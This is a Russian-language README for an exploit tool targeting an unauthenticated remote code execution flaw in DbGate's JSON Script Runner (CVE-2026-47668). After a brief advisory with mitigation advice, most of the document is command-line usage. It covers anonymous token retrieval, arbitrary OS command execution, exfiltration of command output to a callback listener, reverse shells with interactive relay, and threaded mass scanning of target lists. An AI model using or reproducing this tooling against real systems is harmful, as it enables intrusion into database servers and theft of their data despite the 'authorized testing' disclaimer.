
DbGate Неаутентифицированное удалённое выполнение кода
Неаутентифицированное RCE в DbGate JSON Script Runner (dbgate-serve ≤ 7.1.8).
Инструмент оценки: CVE-2026-47668.py — только для авторизованного тестирования.
| CVE | CVE-2026-47668 |
| Критичность | Critical |
| Продукт | DbGate / dbgate-serve |
| Затронуто | ≤ 7.1.8 |
| Исправлено | ≥ 7.1.9 |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-20, CWE-94, CWE-1188 |
Название: Неаутентифицированное удаленное выполнение кода в DbGate через JSON Script Runner
Поля, управляемые пользователем (functionName, variableName), внедряются в динамически генерируемый JavaScript без надлежащей проверки. Злоумышленник может выполнить произвольный код в дочернем процессе Node.js runner.
| Пункт | Детали |
|---|---|
| Endpoint | POST /runners/start |
| Auth | Требуется Bearer; токен может быть получен через POST /auth/login в анонимных/стандартных развертываниях |
| Внедрение | functionName, variableName в JSON assign-командах |
| Воздействие | Выполнение команд ОС от имени пользователя процесса DbGate |
Смягчение: Обновите до 7.1.9+. Ограничьте сетевой доступ, отключите анонимную аутентификацию, смените учетные данные, проверьте логи на подозрительную активность /runners/start.
Telegram: @KNxploited
CVE-2026-47668.py проверяет и подтверждает эксплуатацию экземпляров DbGate, которые вы уполномочены тестировать.
Режимы
| Режим | Обратная оболочка | Описание |
|---|---|---|
| AUTO | Нет | Один ввод; токен + HTTP callback + значения по умолчанию |
| CLI | Опционально | Полный контроль через флаги |
| Mass | Нет | Сканирование из targets.txt |
--reverse-shell | Да | Опциональная TCP проверка (только для одной цели) |
Результаты
| Результат | Значение |
|---|---|
| FAIL | Недоступен, ошибка аутентификации или не уязвим |
| VULN | Runner принял только пробник |
| DISPATCH | Полезная нагрузка отправлена; нет подтвержденного вывода |
| EXFIL | Callback получен — подтвержден вывод команды |
| REVSH | Обратное TCP подключение установлено (только опциональный режим) |
Директория вывода: Nx/ (vuln, dispatch, exfil, failed, list_report, файлы для каждой цели в exfil/)
pip install -r requirements.txt
Требования: Python 3.9+, aiohttp, colorama
python CVE-2026-47668.py
| Ввод по запросу | Пример |
|---|---|
| Один URL | http://192.168.1.10:3000 |
| URL + команда | http://192.168.1.10:3000|id |
| Список целей | targets.txt |
Каждый запуск CLI обязательно должен включать --cli.
python CVE-2026-47668.py --cli [опции]
-u / --url — целевой базовый URL
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000
--cmd / --command — команда оболочки (по умолчанию: id)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "id"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "uname -a"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "ls -la /tmp"
--check-only — только проверка уязвимости (без команды)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --check-only
--vector — вектор внедрения: functionName | variableName | both
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --vector both --cmd id
--port — порт по умолчанию, если в URL не указан порт (по умолчанию: 3000)
python CVE-2026-47668.py --cli -u http://192.168.1.10 --port 3000 --cmd id
--token — использовать существующий Bearer токен
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --token "eyJhbGciOi..." --cmd id
--login-json — настраиваемое тело входа (по умолчанию: {"amoid":"none"})
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --login-json "{\"amoid\":\"none\"}" --cmd id
--timeout — тайм-аут HTTP в секундах
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --timeout 20 --cmd id
--secure — проверять TLS-сертификаты
python CVE-2026-47668.py --cli -u https://dbgate.example.com:3000 --secure --cmd id
--cmd)--callback-host — IP/имя хоста, по которому цель обращается к вашему слушателю
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --callback-host 192.168.1.5 --cmd id
--listen-host — локальный адрес для привязки HTTP слушателя (по умолчанию: 0.0.0.0)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-host 0.0.0.0 --cmd id
--listen-port — порт HTTP exfil (по умолчанию: 8888)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-port 8888 --cmd id
-c / --callback — внешний URL callback (отключает встроенный слушатель)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 -c http://192.168.1.5:9999/ --cmd id
--wait-exfil — время ожидания callback в секундах (одна цель, по умолчанию: 8)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --wait-exfil 15 --cmd id
--no-b64 — отправлять вывод без кодировки base64
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --no-b64 --cmd id
--async-exec — асинхронный exec вместо execSync
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --async-exec --cmd id
-f / --file — файл со списком целей
python CVE-2026-47668.py --cli -f targets.txt --cmd id
-t / --threads — количество одновременных потоков (по умолчанию: 30)
python CVE-2026-47668.py --cli -f targets.txt --cmd id -t 50
--mass-wait-exfil — ожидание callback на каждую цель в массовом режиме (по умолчанию: 8)
python CVE-2026-47668.py --cli -f targets.txt --cmd id --mass-wait-exfil 12
Массовый режим + настраиваемый порт по умолчанию
python CVE-2026-47668.py --cli -f targets.txt --port 3000 --cmd "id"
Не требуется для обычного тестирования. Используйте HTTP exfil (--cmd) для подтверждения.
--reverse-shell — цель подключается к LHOST:LPORT (без значения = LAN IP + порт 4444)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444
--revsh-port — порт, если в --reverse-shell нет :port
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5 --revsh-port 4444
--revsh-bind — локальный адрес для прослушивания
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-bind 0.0.0.0
--wait-revsh — ожидание TCP (по умолчанию: 15)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --wait-revsh 20
--revsh-interactive — базовое ретранслирование stdin/stdout после подключения
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-interactive
Примечание для Docker: используйте IP, достижимый из контейнера DbGate (например, шлюз хоста), а не только 127.0.0.1 на вашем ПК.
targets.txt)